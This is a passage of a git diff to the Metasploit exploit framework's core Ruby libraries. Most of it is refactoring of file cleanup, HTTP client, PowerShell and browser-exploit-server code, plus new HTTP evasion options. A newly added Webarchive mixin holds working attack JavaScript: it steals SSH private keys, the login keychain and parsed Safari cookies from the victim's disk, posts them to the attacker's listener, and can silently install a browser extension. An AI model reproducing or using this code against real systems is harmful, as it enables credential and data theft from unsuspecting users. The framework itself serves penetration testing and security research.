a/lib/msf/core/exploit/dhcp.rb +++ b/lib/msf/core/exploit/dhcp.rb @@ -36,14 +36,14 @@ module Exploit::DHCPServer def start_service(hash = {}, context = {}) @dhcp = Rex::Proto::DHCP::Server.new(hash, context) - print_status("Starting DHCP server") if datastore['VERBOSE'] + vprint_status("Starting DHCP server") @dhcp.start add_socket(@dhcp.sock) @dhcp end def stop_service - print_status("Stopping DHCP server") if datastore['VERBOSE'] + vprint_status("Stopping DHCP server") @dhcp.stop end diff --git a/lib/msf/core/exploit/file_dropper.rb b/lib/msf/core/exploit/file_dropper.rb index e53803241a..f2bdf4dc07 100644 --- a/lib/msf/core/exploit/file_dropper.rb +++ b/lib/msf/core/exploit/file_dropper.rb @@ -8,64 +8,10 @@ module Exploit::FileDropper register_advanced_options( [ - OptInt.new( 'FileDropperDelay', [ false, 'Delay in seconds before attempting file cleanup' ]) + OptInt.new('FileDropperDelay', [false, 'Delay in seconds before attempting file cleanup']) ], self.class) end - # - # When a new session is created, attempt to delete any files that the - # exploit created. - # - # @param (see Msf::Exploit#on_new_session) - # @return [void] - # - def on_new_session(session) - super - - if session.type == "meterpreter" - session.core.use("stdapi") unless session.ext.aliases.include?("stdapi") - end - - if not @dropped_files or @dropped_files.empty? - return true - end - - @dropped_files.delete_if do |file| - win_file = file.gsub("/", "\\\\") - if session.type == "meterpreter" - begin - # Meterpreter should do this automatically as part of - # fs.file.rm(). Until that has been implemented, remove the - # read-only flag with a command. - if session.platform =~ /win/ - session.shell_command_token(%Q|attrib.exe -r #{win_file}|) - end - session.fs.file.rm(file) - print_good("Deleted #{file}") - true - rescue ::Rex::Post::Meterpreter::RequestError - false - end - else - win_cmds = [ - %Q|attrib.exe -r "#{win_file}"|, - %Q|del.exe /f /q "#{win_file}"| - ] - # We need to be platform-independent here. Since we can't be - # certain that {#target} is accurate because exploits with - # automatic targets frequently change it, we just go ahead and - # run both a windows and a unix command in the same line. One - # of them will definitely fail and the other will probably - # succeed. Doing it this way saves us an extra round-trip. - # Trick shared by @mihi42 - session.shell_command_token("rm -f \"#{file}\" >/dev/null ; echo ' & #{win_cmds.join(" & ")} & echo \" ' >/dev/null") - print_good("Deleted #{file}") - true - end - end - end - - # # Record file as needing to be cleaned up # # @param files [Array] List of paths on the target that should @@ -84,7 +30,32 @@ module Exploit::FileDropper # Singular version alias register_file_for_cleanup register_files_for_cleanup + # When a new session is created, attempt to delete any files that the + # exploit created. # + # @param (see Msf::Exploit#on_new_session) + # @return [void] + def on_new_session(session) + super + + if session.type == 'meterpreter' + session.core.use('stdapi') unless session.ext.aliases.include?('stdapi') + end + + unless @dropped_files && @dropped_files.length > 0 + return + end + + @dropped_files.delete_if do |file| + exists_before = file_dropper_file_exist?(session, file) + if file_dropper_delete(session, file) + file_dropper_deleted?(session, file, exists_before) + else + false + end + end + end + # While the exploit cleanup do a last attempt to delete any files created # if there is a file_rm method available. Warn the user if any files were # not cleaned up. @@ -109,9 +80,8 @@ module Exploit::FileDropper @dropped_files.delete_if do |file| begin file_rm(file) - print_good("Deleted #{file}") - true - #rescue ::Rex::SocketError, ::EOFError, ::IOError, ::Errno::EPIPE, ::Rex::Post::Meterpreter::RequestError => e + # We don't know for sure if file has been deleted, so always warn about it to the user + false rescue ::Exception => e vprint_error("Failed to delete #{file}: #{e}") elog("Failed to delete #{file}: #{e.class}: #{e}") @@ -126,5 +96,101 @@ module Exploit::FileDropper end end + + private + + # See if +path+ exists on the remote system and is a regular file + # + # @param path [String] Remote filename to check + # @return [Boolean] True if the file exists, otherwise false. + def file_dropper_file_exist?(session, path) + if session.platform =~ /win/ + normalized = file_dropper_win_file(path) + else + normalized = path + end + + if session.type == 'meterpreter' + stat = session.fs.file.stat(normalized) rescue nil + return false unless stat + stat.file? + else + if session.platform =~ /win/ + f = shell_command_token("cmd.exe /C IF exist \"#{normalized}\" ( echo true )") + if f =~ /true/ + f = shell_command_token("cmd.exe /C IF exist \"#{normalized}\\\\\" ( echo false ) ELSE ( echo true )") + end + else + f = session.shell_command_token("test -f \"#{normalized}\" && echo true") + end + + return false if f.nil? || f.empty? + return false unless f =~ /true/ + true + end + end + + # Sends a file deletion command to the remote +session+ + # + # @param [String] file The file to delete + # @return [Boolean] True if the delete command has been executed in the remote machine, otherwise false. + def file_dropper_delete(session, file) + win_file = file_dropper_win_file(file) + + if session.type == 'meterpreter' + begin + # Meterpreter should do this automatically as part of + # fs.file.rm(). Until that has been implemented, remove the + # read-only flag with a command. + if session.platform =~ /win/ + session.shell_command_token(%Q|attrib.exe -r #{win_file}|) + end + session.fs.file.rm(file) + true + rescue ::Rex::Post::Meterpreter::RequestError + false + end + else + win_cmds = [ + %Q|attrib.exe -r "#{win_file}"|, + %Q|del.exe /f /q "#{win_file}"| + ] + # We need to be platform-independent here. Since we can't be + # certain that {#target} is accurate because exploits with + # automatic targets frequently change it, we just go ahead and + # run both a windows and a unix command in the same line. One + # of them will definitely fail and the other will probably + # succeed. Doing it this way saves us an extra round-trip. + # Trick shared by @mihi42 + session.shell_command_token("rm -f \"#{file}\" >/dev/null ; echo ' & #{win_cmds.join(" & ")} & echo \" ' >/dev/null") + true + end + end + + # Checks if a file has been deleted by the current job + # + # @param [String] file The file to check + # @return [Boolean] If the file has been deleted, otherwise false. + def file_dropper_deleted?(session, file, exists_before) + if exists_before && file_dropper_file_exist?(session, file) + print_error("Unable to delete #{file}") + false + elsif exists_before + print_good("Deleted #{file}") + true + else + print_warning("Tried to delete #{file}, unknown result") + true + end + end + + # Converts a file path to use the windows separator '\' + # + # @param [String] file The file path to convert + # @return [String] The file path converted + def file_dropper_win_file(file) + file.gsub('/', '\\\\') + end + end end diff --git a/lib/msf/core/exploit/format/webarchive.rb b/lib/msf/core/exploit/format/webarchive.rb new file mode 100644 index 0000000000..52dbb387fc --- /dev/null +++ b/lib/msf/core/exploit/format/webarchive.rb @@ -0,0 +1,367 @@ +# +# The WebArchive mixin provides methods for generating a Safari .webarchive file +# that performs a variety of malicious tasks: stealing files, cookies, and silently +# installing extensions from extensions.apple.com. +# +module Msf +class Exploit +module Format +module Webarchive + + def initialize(info={}) + super + register_options([ + OptString.new("URIPATH", [false, 'The URI to use for this exploit (default is random)']), + OptString.new('FILENAME', [ true, 'The file name', 'msf.webarchive']), + OptString.new('GRABPATH', [false, "The URI to receive the UXSS'ed data", 'grab']), + OptString.new('DOWNLOAD_PATH', [ true, 'The path to download the webarchive', '/msf.webarchive']), + OptString.new('FILE_URLS', [false, 'Additional file:// URLs to steal. $USER will be resolved to the username.', '']), + OptBool.new('STEAL_COOKIES', [true, "Enable cookie stealing", true]), + OptBool.new('STEAL_FILES', [true, "Enable local file stealing", true]), + OptBool.new('INSTALL_EXTENSION', [true, "Silently install a Safari extensions (requires click)", false]), + OptString.new('EXTENSION_URL', [false, "HTTP URL of a Safari extension to install", "https://data.getadblock.com/safari/AdBlock.safariextz"]), + OptString.new('EXTENSION_ID', [false, "The ID of the Safari extension to install", "com.betafish.adblockforsafari-UAMUU4S2D9"]) + ], self.class) + end + + ### ASSEMBLE THE WEBARCHIVE XML ### + + # @return [String] contents of webarchive as an XML document + def webarchive_xml + return @xml if not @xml.nil? # only compute xml once + @xml = webarchive_header + @xml << webarchive_footer + @xml + end + + # @return [String] the first chunk of the webarchive file, containing the WebMainResource + def webarchive_header + %Q| + + + + + WebMainResource + + WebResourceData + + #{Rex::Text.encode_base64(iframes_container_html)} + WebResourceFrameName + + WebResourceMIMEType + text/html + WebResourceTextEncodingName + UTF-8 + WebResourceURL + file:/// + + WebSubframeArchives + + | + end + + # @return [String] the closing chunk of the webarchive XML code + def webarchive_footer + %Q| + + + + | + end + + #### JS/HTML CODE #### + + # Wraps the result of the block in an HTML5 document and body + def wrap_with_doc(&blk) + %Q| + + + + #{yield} + + + | + end + + # Wraps the result of the block with " + end + + # @return [String] mark up for embedding the iframes for each URL in a place that is + # invisible to the user + def iframes_container_html + wrap_with_doc do + injected_js_helpers + steal_files + install_extension + message + end + end + + def apple_extension_url + 'https://extensions.apple.com' + end + + def install_extension + return '' unless datastore['INSTALL_EXTENSION'] + raise "EXTENSION_URL datastore option missing" unless datastore['EXTENSION_URL'].present? + raise "EXTENSION_ID datastore option missing" unless datastore['EXTENSION_ID'].present? + wrap_with_script do + %Q| + var qq = null; + var extURL = atob('#{Rex::Text.encode_base64(datastore['EXTENSION_URL'])}'); + var extID = atob('#{Rex::Text.encode_base64(datastore['EXTENSION_ID'])}'); + + function go(){ + window.focus(); + qq.open('javascript:safari&&(safari.installExtension\|\|(window.top.location.href.match(/extensions/)&&window.top.location.reload(false)))&&(safari.installExtension("'+extID+'", "'+extURL+'"), window.close());', '_self'); + } + window.addEventListener('message', function(e) { + if (!qq && e.data === 'EXT') { + qq = e.source; + setInterval(go, 600); + } + }); + | + end + end + + # @return [String] javascript code, wrapped in a script tag, that steals local files + # and sends them back to the listener. This code is executed in the WebMainResource (parent) + # frame, which runs in the file:// protocol + def steal_files + return '' unless should_steal_files? + urls_str = (datastore['FILE_URLS'].split(/\s+/)).reject { |s| !s.include?('$USER') }.join(' ') + wrap_with_script do + %Q| + var filesStr = "#{urls_str}"; + var files = filesStr.trim().split(/\s+/); + function stealFile(url) { + var req = new XMLHttpRequest(); + var sent = false; + req.open('GET', url, true); + req.onreadystatechange = function() { + if (!sent && req.responseText && req.responseText.length > 0) { + sendData(url, req.responseText); + sent = true; + } + }; + req.send(null); + }; + files.forEach(stealFile); + + | + steal_default_files + end + end + + def default_files + ('file:///Users/$USER/.ssh/id_rsa file:///Users/$USER/.ssh/id_rsa.pub '+ + 'file:///Users/$USER/Library/Keychains/login.keychain ' + + (datastore['FILE_URLS'].split(/\s+/)).select { |s| s.include?('$USER') }.join(' ')).strip + end + + def steal_default_files + %Q| + + try { + +function xhr(url, cb, responseType) { + var x = new XMLHttpRequest; + x.onload = function() { cb(x) } + x.open('GET', url); + if (responseType) x.responseType = responseType; + x.send(); +} + +var files = ['/var/log/monthly.out', '/var/log/appstore.log', '/var/log/install.log']; +var done = 0; +var _u = {}; + +var cookies = []; +files.forEach(function(f) { + xhr(f, function(x) { + var m; + var users = []; + var pattern = /\\/Users\\/([^\\s^\\/^"]+)/g; + while ((m = pattern.exec(x.responseText)) !== null) { + if(!_u[m[1]]) { users.push(m[1]); } + _u[m[1]] = 1; + } + + if (users.length) { next(users); } + }); +}); + +var id=0; +function next(users) { + // now lets steal all the data we can! + sendData('usernames'+id, users); + id++; + users.forEach(function(user) { + + if (#{datastore['STEAL_COOKIES']}) { + xhr('file:///Users/'+encodeURIComponent(user)+'/Library/Cookies/Cookies.binarycookies', function(x) { + parseBinaryFile(x.response); + }, 'arraybuffer'); + } + + if (#{datastore['STEAL_FILES']}) { + var files = '#{Rex::Text.encode_base64(default_files)}'; + atob(files).split(/\\s+/).forEach(function(file) { + file = file.replace('$USER', encodeURIComponent(user)); + xhr(file, function(x) { + sendData(file.replace('file://', ''), x.responseText); + }); + }); + } + + }); +} + +function parseBinaryFile(buffer) { + var data = new DataView(buffer); + + // check for MAGIC 'cook' in big endian + if (data.getUint32(0, false) != 1668247403) + throw new Error('Invalid magic at top of cookie file.') + + // big endian length in next 4 bytes + var numPages = data.getUint32(4, false); + var pageSizes = [], cursor = 8; + for (var i = 0; i < numPages; i++) { + pageSizes.push(data.getUint32(cursor, false)); + cursor += 4; + } + + pageSizes.forEach(function(size) { + parsePage(buffer.slice(cursor, cursor + size)); + cursor += size; + }); + + reportStolenCookies(); +} + +function parsePage(buffer) { + var data = new DataView(buffer); + if (data.getUint32(0, false) != 256) { + return; // invalid magic in page header + } + + var numCookies = data.getUint32(4, true); + var offsets = []; + for (var i = 0; i < numCookies; i++) { + offsets.push(data.getUint32(8+i*4, true)); + } + + offsets.forEach(function(offset, idx) { + var next = offsets[idx+1] \|\| buffer.byteLength - 4; + try{parseCookie(buffer.slice(offset, next));}catch(e){}; + }); +} + +function read(data, offset) { + var str = '', c = null; + try { + while ((c = data.getUint8(offset++)) != 0) { + str += String.fromCharCode(c); + } + } catch(e) {}; + return str; +} + +function parseCookie(buffer) { + var data = new DataView(buffer); + var size = data.getUint32(0, true); + var flags = data.getUint32(8, true); + var urlOffset = data.getUint32(16, true); + var nameOffset = data.getUint32(20, true); + var pathOffset = data.getUint32(24, true); + var valueOffset = data.getUint32(28, true); + + var result = { + value: read(data, valueOffset), + path: read(data, pathOffset), + url: read(data, urlOffset), + name: read(data, nameOffset), + isSecure: flags & 1, + httpOnly: flags & 4 + }; + + cookies.push(result); +} + +function reportStolenCookies() { + if (cookies.length > 0) { + sendData('cookieDump', cookies); + } +} + +} catch (e) { console.log('ERROR: '+e.message); } + + | + end + + # @return [String] javascript code, wrapped in script tag, that adds a helper function + # called "sendData()" that passes the arguments up to the parent frame, where it is + # sent out to the listener + def injected_js_helpers + wrap_with_script do + %Q| + window.sendData = function(key, val) { + var data = {}; + data[key] = val; + + var x = new XMLHttpRequest; + x.open('POST', '#{backend_url}#{collect_data_uri}', true); + x.setRequestHeader('Content-type', 'text/plain') + x.send(JSON.stringify(data)); + }; + | + end + end + + ### HELPERS ### + + # @return [String] the path to send data back to + def collect_data_uri + '/' + (datastore["URIPATH"] || '').chomp('/').gsub(/^\//, '') + '/'+datastore["GRABPATH"] + end + + # @return [String] formatted http/https URL of the listener + def backend_url + proto = (datastore["SSL"] ? "https" : "http") + myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST'] + port_str = (datastore['HTTPPORT'].to_i == 80) ? '' : ":#{datastore['HTTPPORT']}" + "#{proto}://#{myhost}#{port_str}" + end + + # @return [String] URL that serves the malicious webarchive + def webarchive_download_url + datastore["DOWNLOAD_PATH"] + end + + # @return [String] HTML content that is rendered in the of the webarchive. + def message + "

You are being redirected.

" + end + + # @return [Array] of URLs provided by the user + def urls + (datastore['URLS'] || '').split(/\s+/) + end + + # @param [String] input the unencoded string + # @return [String] input with dangerous chars replaced with xml entities + def escape_xml(input) + input.to_s.gsub("&", "&").gsub("<", "<") + .gsub(">", ">").gsub("'", "'") + .gsub("\"", """) + end + + def should_steal_files? + datastore['STEAL_FILES'] + end + +end +end +end +end diff --git a/lib/msf/core/exploit/http/client.rb b/lib/msf/core/exploit/http/client.rb index a8ee210f38..72b378980f 100644 --- a/lib/msf/core/exploit/http/client.rb +++ b/lib/msf/core/exploit/http/client.rb @@ -47,13 +47,13 @@ module Exploit::Remote::HttpClient Rex::Proto::Http::Client::DefaultUserAgent ]), OptString.new('USERNAME', [false, 'The HTTP username to specify for authentication', '']), - OptString.new('PASSWORD', [false, 'The HTTP password to specify for authentication', '']), + OptString.new('PASSWORD', [false, 'The HTTP password to specify for authentication', '']), OptBool.new('DigestAuthIIS', [false, 'Conform to IIS, should work for most servers. Only set to false for non-IIS servers', true]), OptBool.new('SSL', [ false, 'Negotiate SSL for outgoing connections', false]), OptEnum.new('SSLVersion', [ false, 'Specify the version of SSL that should be used', 'Auto', ['Auto', 'SSL2', 'SSL3', 'TLS1']]), OptBool.new('FingerprintCheck', [ false, 'Conduct a pre-exploit fingerprint verification', true]), OptString.new('DOMAIN', [ true, 'The domain to use for windows authentification', 'WORKSTATION']), - OptInt.new('HttpClientTimeout', [false, 'HTTP connection and receive timeout', 20]) + OptInt.new('HttpClientTimeout', [false, 'HTTP connection and receive timeout']) ], self.class ) @@ -68,6 +68,8 @@ module Exploit::Remote::HttpClient OptBool.new('HTTP::method_random_valid', [false, 'Use a random, but valid, HTTP method for request', false]), OptBool.new('HTTP::method_random_invalid', [false, 'Use a random invalid, HTTP method for request', false]), OptBool.new('HTTP::method_random_case', [false, 'Use random casing for the HTTP method', false]), + OptBool.new('HTTP::version_random_valid', [false, 'Use a random, but valid, HTTP version for request', false]), + OptBool.new('HTTP::version_random_invalid', [false, 'Use a random invalid, HTTP version for request', false]), OptBool.new('HTTP::uri_dir_self_reference', [false, 'Insert self-referential directories into the uri', false]), OptBool.new('HTTP::uri_dir_fake_relative', [false, 'Insert fake relative directories into the uri', false]), OptBool.new('HTTP::uri_use_backslashes', [false, 'Use back slashes instead of forward slashes in the uri ', false]), @@ -176,6 +178,8 @@ module Exploit::Remote::HttpClient 'method_random_valid' => datastore['HTTP::method_random_valid'], 'method_random_invalid' => datastore['HTTP::method_random_invalid'], 'method_random_case' => datastore['HTTP::method_random_case'], + 'version_random_valid' => datastore['HTTP::version_random_valid'], + 'version_random_invalid' => datastore['HTTP::version_random_invalid'], 'uri_dir_self_reference' => datastore['HTTP::uri_dir_self_reference'], 'uri_dir_fake_relative' => datastore['HTTP::uri_dir_fake_relative'], 'uri_use_backslashes' => datastore['HTTP::uri_use_backslashes'], @@ -236,6 +240,8 @@ module Exploit::Remote::HttpClient evade_method_random_valid: datastore['HTTP::method_random_valid'], evade_method_random_invalid: datastore['HTTP::method_random_invalid'], evade_method_random_case: datastore['HTTP::method_random_case'], + evade_version_random_valid: datastore['HTTP::version_random_valid'], + evade_version_random_invalid: datastore['HTTP::version_random_invalid'], evade_uri_dir_self_reference: datastore['HTTP::uri_dir_self_reference'], evade_uri_dir_fake_relative: datastore['HTTP::uri_dir_fake_relative'], evade_uri_use_backslashes: datastore['HTTP::uri_use_backslashes'], @@ -308,7 +314,12 @@ module Exploit::Remote::HttpClient # Passes +opts+ through directly to Rex::Proto::Http::Client#request_raw. # def send_request_raw(opts={}, timeout = 20) - actual_timeout = datastore['HttpClientTimeout'] || opts[:timeout] || timeout + if datastore['HttpClientTimeout'] && datastore['HttpClientTimeout'] > 0 + actual_timeout = datastore['HttpClientTimeout'] + else + actual_timeout = opts[:timeout] || timeout + end + begin c = connect(opts) r = c.request_raw(opts) @@ -325,7 +336,12 @@ module Exploit::Remote::HttpClient # Passes +opts+ through directly to Rex::Proto::Http::Client#request_cgi. # def send_request_cgi(opts={}, timeout = 20) - actual_timeout = datastore['HttpClientTimeout'] || opts[:timeout] || timeout + if datastore['HttpClientTimeout'] && datastore['HttpClientTimeout'] > 0 + actual_timeout = datastore['HttpClientTimeout'] + else + actual_timeout = opts[:timeout] || timeout + end + begin c = connect(opts) r = c.request_cgi(opts) @@ -344,7 +360,12 @@ module Exploit::Remote::HttpClient # will contain the full URI. # def send_request_cgi!(opts={}, timeout = 20, redirect_depth = 1) - actual_timeout = datastore['HttpClientTimeout'] || opts[:timeout] || timeout + if datastore['HttpClientTimeout'] && datastore['HttpClientTimeout'] > 0 + actual_timeout = datastore['HttpClientTimeout'] + else + actual_timeout = opts[:timeout] || timeout + end + res = send_request_cgi(opts, actual_timeout) return res unless res && res.redirect? && redirect_depth > 0 diff --git a/lib/msf/core/exploit/http/server.rb b/lib/msf/core/exploit/http/server.rb index 15ad4722ef..6b58eb8a4a 100644 --- a/lib/msf/core/exploit/http/server.rb +++ b/lib/msf/core/exploit/http/server.rb @@ -217,9 +217,10 @@ module Exploit::Remote::HttpServer print_status("Intentionally using insecure SSL compression. Your operating system might not respect this!") end + print_status("Using URL: #{proto}://#{opts['ServerHost']}:#{opts['ServerPort']}#{uopts['Path']}") - if (opts['ServerHost'] == '0.0.0.0') + if opts['ServerHost'] == '0.0.0.0' print_status("Local IP: #{proto}://#{Rex::Socket.source_address('1.2.3.4')}:#{opts['ServerPort']}#{uopts['Path']}") end @@ -497,7 +498,7 @@ module Exploit::Remote::HttpServer # bind payload but there's nothing we can do about it. # # NOTE: The address will be *incorrect* in the following two situations: - # 1. LHOST is pointed at a multi/handler on some other box. + # 1. LHOST is pointed at a exploit/multi/handler on some other box. # 2. SRVHOST has a value of '0.0.0.0', the user is behind NAT, and we're # using a bind payload. In that case, we don't have an LHOST and # the source address will be internal. diff --git a/lib/msf/core/exploit/mixins.rb b/lib/msf/core/exploit/mixins.rb index cd7edc03f9..a575d03a83 100644 --- a/lib/msf/core/exploit/mixins.rb +++ b/lib/msf/core/exploit/mixins.rb @@ -104,3 +104,4 @@ require 'msf/core/exploit/android' # Browser Exploit Server require 'msf/core/exploit/remote/browser_exploit_server' +require 'msf/core/exploit/browser_autopwn2' diff --git a/lib/msf/core/exploit/powershell.rb b/lib/msf/core/exploit/powershell.rb index 0dc1fa02fb..89d99fb00e 100644 --- a/lib/msf/core/exploit/powershell.rb +++ b/lib/msf/core/exploit/powershell.rb @@ -17,6 +17,38 @@ module Exploit::Powershell ], self.class) end + # + # Return a script from path or string + # + def read_script(script_path) + return Rex::Powershell::Script.new(script_path) + end + + # + # Return an array of substitutions for use in make_subs + # + def process_subs(subs) + return [] if subs.nil? or subs.empty? + new_subs = [] + subs.split(';').each do |set| + new_subs << set.split(',', 2) + end + + new_subs + end + + # + # Insert substitutions into the powershell script + # If script is a path to a file then read the file + # otherwise treat it as the contents of a file + # + def make_subs(script, subs) + subs.each do |set| + script.gsub!(set[0],set[1]) + end + + script + end # # Return an encoded powershell script # Will invoke PSH modifiers as enabled @@ -24,14 +56,14 @@ module Exploit::Powershell # @param script_in [String] Script contents # # @return [String] Encoded script - def encode_script(script_in) + def encode_script(script_in, eof = nil) opts = {} datastore.select { |k, v| k =~ /^Powershell::(strip|sub)/ && v }.keys.map do |k| mod_method = k.split('::').last.intern opts[mod_method.to_sym] = true end - Rex::Powershell::Command.encode_script(script_in, opts) + Rex::Powershell::Command.encode_script(script_in, eof, opts) end # diff --git a/lib/msf/core/exploit/remote/browser_exploit_server.rb b/lib/msf/core/exploit/remote/browser_exploit_server.rb index a757715780..1ad7cffa70 100644 --- a/lib/msf/core/exploit/remote/browser_exploit_server.rb +++ b/lib/msf/core/exploit/remote/browser_exploit_server.rb @@ -6,11 +6,13 @@ require 'date' require 'set' require 'rex/exploitation/js' require 'msf/core/exploit/jsobfu' +require 'msf/core/exploit/remote/browser_profile_manager' ### # # The BrowserExploitServer mixin provides methods to do common tasks seen in modern browser # exploitation, and is designed to work against common setups such as on Windows, OSX, and Linux. +# Note that this mixin is designed to be compatible with both Exploit and Auxiliary modules. # Wiki documentations about this mixin can be found here: # https://github.com/rapid7/metasploit-framework/wiki/How-to-write-a-browser-exploit-using-BrowserExploitServer # https://github.com/rapid7/metasploit-framework/wiki/Information-About-Unmet-Browser-Exploit-Requirements @@ -25,6 +27,7 @@ module Msf include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::RopDb include Msf::Exploit::JSObfu + include Msf::Exploit::Remote::BrowserProfileManager # this must be static between runs, otherwise the older cookies will be ignored DEFAULT_COOKIE_NAME = '__ua' @@ -49,22 +52,22 @@ module Msf # Requirements a browser module can define in either BrowserRequirements or in targets REQUIREMENT_KEY_SET = Set.new([ - :source, # Return either 'script' or 'headers' - :ua_name, # Example: Returns 'MSIE' - :ua_ver, # Example: Returns '8.0', '9.0' - :os_name, # Example: Returns 'Windows 7', 'Linux' - :os_device, # Example: Returns 'iPad', 'iPhone', etc - :os_vendor, # Example: Returns 'Microsoft', 'Ubuntu', 'Apple', etc - :os_sp, # Example: Returns 'SP2' - :language, # Example: Returns 'en-us' - :arch, # Example: Returns 'x86' - :proxy, # Returns 'true' or 'false' - :silverlight, # Returns 'true' or 'false' - :office, # Example: Returns "2007", "2010" - :java, # Example: Return '1.6', or maybe '1.6.0.0' (depends) - :mshtml_build, # mshtml build. Example: Returns "65535" - :flash, # Example: Returns "12.0" (chrome/ff) or "12.0.0.77" (IE) - :vuln_test, # Example: "if(window.MyComponentIsInstalled)return true;", + 'source', # Return either 'script' or 'headers' + 'ua_name', # Example: Returns 'MSIE' + 'ua_ver', # Example: Returns '8.0', '9.0' + 'os_name', # Example: Returns 'Windows 7', 'Linux' + 'os_device', # Example: Returns 'iPad', 'iPhone', etc + 'os_vendor', # Example: Returns 'Microsoft', 'Ubuntu', 'Apple', etc + 'os_sp', # Example: Returns 'SP2' + 'language', # Example: Returns 'en-us' + 'arch', # Example: Returns 'x86' + 'proxy', # Returns 'true' or 'false' + 'silverlight', # Returns 'true' or 'false' + 'office', # Example: Returns "2007", "2010" + 'java', # Example: Return '1.6', or maybe '1.6.0.0' (depends) + 'mshtml_build', # mshtml build. Example: Returns "65535" + 'flash', # Example: Returns "12.0" (chrome/ff) or "12.0.0.77" (IE) + 'vuln_test', # Example: "if(window.MyComponentIsInstalled)return true;", # :activex is a special case. # When you set this requirement in your module, this is how it should be: # [{:clsid=>'String', :method=>'String'}] @@ -72,24 +75,22 @@ module Msf # But when BES receives this information, the JavaScript will return this format: # "{CLSID}=>Method=>Boolean;" # Also see: #has_bad_activex? - :activex + 'activex' ]) def initialize(info={}) super - # The mixin keeps 'target' so module doesn't lose it. - @target = target - - # See get_profile's documentation to understand what @target_profiles stores - @target_profiles = {} + # The mixin keeps 'target' handy so module doesn't lose it. + @target = self.respond_to?(:target) ? target : nil # Requirements are conditions that the browser must have in order to be exploited. @requirements = extract_requirements(self.module_info['BrowserRequirements'] || {}) - @info_receiver_page = rand_text_alpha(5) - @exploit_receiver_page = rand_text_alpha(6) - @noscript_receiver_page = rand_text_alpha(7) + @info_receiver_page = Rex::Text.rand_text_alpha(5) + @exploit_receiver_page = Rex::Text.rand_text_alpha(6) + @noscript_receiver_page = Rex::Text.rand_text_alpha(7) + @flash_swf = "#{Rex::Text.rand_text_alpha(9)}.swf" register_options( [ @@ -108,10 +109,34 @@ module Msf if !custom_404.blank? && custom_404 !~ /^http/i raise Msf::OptionValidateError.new(['Custom404 (must begin with http or https)']) end + super end + # Returns a prefix that's unique to this browser exploit module. + # This overrides the #browser_profile_prefix method from Msf::Exploit::Remote::BrowserProfileManager. + # There are two way for BES to get this prefix, either: + # * It comes from a datastore option. It allows BrowserAutoPwn to share the unique prefix with + # its child exploits, so that these exploits don't have to gather browser information again. + # * If the datastore option isn't set, then we assume the user is firing the exploit as a + # standalone so we make somthing more unique, so that if there are two instances using the + # same exploit, they don't actually share info. + def browser_profile_prefix + self.datastore['BrowserProfilePrefix'] || @unique_prefix ||= lambda { + "#{self.shortname}.#{Time.now.to_i}.#{self.uuid}" + }.call + end + + + # Cleans up target information owned by the current module. + def cleanup + super + # Whoever registered BrowserProfilePrefix should do the cleanup + clear_browser_profiles unless self.datastore['BrowserProfilePrefix'] + end + + # Returns the custom 404 URL set by the user # # @return [String] @@ -120,14 +145,6 @@ module Msf end - # Allows a block of code to access BES resources in a thread-safe fashion - # - # @param block [Proc] Block of code to sync - def sync(&block) - (@mutex ||= Mutex.new).synchronize(&block) - end - - # Returns the resource (URI) to the module to allow access to on_request_exploit # # @return [String] URI to the exploit page @@ -155,7 +172,7 @@ module Msf # @param reqs [Hash] A hash that contains data for the requirements # @return [Hash] A hash of requirements def extract_requirements(reqs) - tmp = reqs.select {|k,v| REQUIREMENT_KEY_SET.include?(k.to_sym)} + tmp = reqs.select {|k,v| REQUIREMENT_KEY_SET.include?(k.to_s)} # Make sure keys are always symbols Hash[tmp.map{|(k,v)| [k.to_sym,v]}] end @@ -167,16 +184,16 @@ module Msf # # @param profile [Hash] The profile to check def try_set_target(profile) + return unless self.respond_to?(:targets) match_counts = [] target_requirements = {} - targets.each do |t| target_requirements = extract_requirements(t.opts) if target_requirements.blank? match_counts << 0 else match_counts << target_requirements.select { |k,v| - if v.class == Regexp + if v.is_a? Regexp profile[k] =~ v else profile[k] == v @@ -200,7 +217,7 @@ module Msf # "{CLSID}=>Method=>Boolean;" # @return [Boolean] True if there's a bad ActiveX, otherwise false def has_bad_activex?(ax) - ax.split(';').each do |a| + ax.to_s.split(';').each do |a| bool = a.split('=>')[2] if bool == 'false' return true @@ -216,82 +233,28 @@ module Msf # @return [Array] An array of requirements not met def get_bad_requirements(profile) bad_reqs = [] - - @requirements.each do |k, v| + @requirements.each do |rk, v| + k = rk.to_sym expected = k != :vuln_test ? v : 'true' - vprint_status("Comparing requirement: #{k}=#{expected} vs #{k}=#{profile[k.to_sym]}") + + vprint_status("Comparing requirement: #{k}=#{expected} vs #{k}=#{profile[k]}") if k == :activex - bad_reqs << k if has_bad_activex?(profile[k.to_sym]) + bad_reqs << k if has_bad_activex?(profile[k]) elsif k == :vuln_test - bad_reqs << k unless profile[k.to_sym].to_s == 'true' + bad_reqs << k unless profile[k].to_s == 'true' elsif v.is_a? Regexp - bad_reqs << k if profile[k.to_sym] !~ v + bad_reqs << k if profile[k] !~ v elsif v.is_a? Proc - bad_reqs << k unless v.call(profile[k.to_sym]) + bad_reqs << k unless v.call(profile[k]) else - bad_reqs << k if profile[k.to_sym] != v + bad_reqs << k if profile[k] != v end end bad_reqs end - # Returns the target profile based on the tag. Each profile has the following structure: - # 'cookie_name' => - # { - # :os_name => 'Windows 7' - # ...... etc ...... - # } - # A profile should at least have info about the following: - # :source : The data source. Either from 'script', or 'headers'. The 'script' source - # should be more accurate in some scenarios like browser compatibility mode - # :ua_name : The name of the browser - # :ua_ver : The version of the browser (not yet implemented) - # :os_name : The name of the OS ("Windows XP") - # :language : The system's language - # :arch : The system's arch - # :proxy : Indicates whether proxy is used - # - # For more info about what the actual value might be for each key, see HttpServer. - # - # If the source is 'script', the profile might have even more information about plugins: - # 'office' : The version of Microsoft Office (IE only) - # 'activex' : Whether a specific set of clsid & method is available from an ActiveX control (IE only) - # 'java' : The Java version - # 'mshtml_build' : The MSHTML build version - # 'flash' : The Flash version - # 'silverlight' : The Silverlight version - # - # @param tag [String] Either a cookie or IP + User-Agent - # @return [Hash] The profile found. If not found, returns nil - def get_profile(tag) - sync do - return @target_profiles[tag] - end - end - - - # Updates information for a specific profile - # - # @param target_profile [Hash] The profile to update - # @param key [Symbol] The symbol to use for the hash - # @param value [String] The value to assign - def update_profile(target_profile, key, value) - sync do - target_profile[key] = value - end - end - - - # Initializes a profile, if it did not previously exist - # - # @param tag [String] A unique string as a way to ID the profile - def init_profile(tag) - sync do - @target_profiles[tag] ||= {} - end - end # Retrieves 